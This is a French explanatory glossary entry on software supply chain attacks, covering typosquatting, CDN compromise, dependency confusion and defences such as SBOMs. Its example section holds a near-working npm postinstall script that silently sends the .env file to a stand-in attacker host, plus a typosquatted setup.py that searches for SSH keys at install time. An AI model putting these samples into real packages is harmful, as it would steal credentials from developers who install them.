Une attaque de la chaîne d'approvisionnement est une méthode de cyberattaque qui cible les fournisseurs, les bibliothèques ou les dépendances d'une application plutôt que l'application elle-même. L'attaquant compromet un composant en amont de la chaîne d'approvisionnement logicielle pour infecter indirectement les cibles en aval.
Contexte d'utilisation
Ces attaques exploitent la confiance accordée aux fournisseurs et aux dépendances externes. Elles sont particulièrement efficaces car elles permettent de compromettre simultanément de nombreuses organisations qui utilisent le composant infecté. Les développeurs intègrent régulièrement des bibliothèques tierces, des frameworks et des packages dans leurs applications, créant ainsi des vecteurs d'attaque potentiels.
Origine
Le concept d'attaque de la chaîne d'approvisionnement existe depuis longtemps dans la sécurité physique, mais son application à la sécurité informatique s'est développée avec l'augmentation de l'utilisation de composants logiciels tiers et l'adoption généralisée des gestionnaires de packages. Le terme "supply chain attack" s'est répandu dans les années 2010 avec la multiplication des incidents ciblant les chaînes d'approvisionnement logicielles.
Exemple pratique:
// Exemple 1: Injection de code malveillant dans un package npm
// Fichier package.json légitime
{
"name": "utils-library",
"version": "1.2.3",
"main": "index.js",
"scripts": {
"postinstall": "node ./scripts/postinstall.js" // Script exécuté après installation
}
}
// scripts/postinstall.js - Code malveillant injecté
const fs = require('fs');
const https = require('https');
// Fonction qui exfiltre des données sensibles
function stealData() {
try {
// Recherche de fichiers de configuration ou d'environnement
const envData = fs.readFileSync('.env', 'utf8');
// Envoi des données à un serveur contrôlé par l'attaquant
const req = https.request({
hostname: 'malicious-server.com',
path: '/collect',
method: 'POST'
}, (res) => {});
req.write(JSON.stringify({ data: envData }));
req.end();
} catch (e) {
// Silencieux pour éviter la détection
}
}
// Exécution discrète
setTimeout(stealData, 10000);
# Exemple 2: Typosquatting - création d'un package malveillant avec un nom similaire
# Fichier setup.py d'un package Python malveillant nommé "requets" (au lieu de "requests")
from setuptools import setup
import os
def malicious_function():
# Code qui s'exécute lors de l'installation du package
try:
# Tente de voler des informations d'identification
ssh_keys = os.path.expanduser("~/.ssh")
if os.path.exists(ssh_keys):
# Code pour exfiltrer les clés SSH
pass
except:
pass
# Le code malveillant s'exécute lors de l'installation
malicious_function()
setup(
name="requets", # Nom similaire à la bibliothèque populaire "requests"
version="0.1.0",
description="HTTP library",
author="Attacker",
packages=["requets"],
# Le package peut même importer la vraie bibliothèque pour masquer sa nature
)
Variantes et nuances
- Compromission de CDN: Altération des fichiers JavaScript hébergés sur des CDN.
- Typosquatting: Création de packages avec des noms similaires à des packages populaires.
- Détournement de compte: Prise de contrôle des comptes de développeurs légitimes.
- Compromission de build: Altération des outils de compilation ou d'intégration continue.
- Injection de dépendances: Ajout de dépendances malveillantes dans des projets open-source.
Termes associés:
- Dependency confusion: Technique exploitant la priorité des dépôts publics sur les dépôts privés pour injecter des packages malveillants.
- SolarWinds: Attaque notable de 2020 où le logiciel Orion a été compromis, affectant des milliers d'organisations.
- Vérification d'intégrité: Mécanismes comme les sommes de contrôle et les signatures numériques pour vérifier l'authenticité des packages.
- SBOM (Software Bill of Materials): Inventaire détaillé des composants logiciels utilisés dans une application pour gérer les risques liés à la chaîne d'approvisionnement.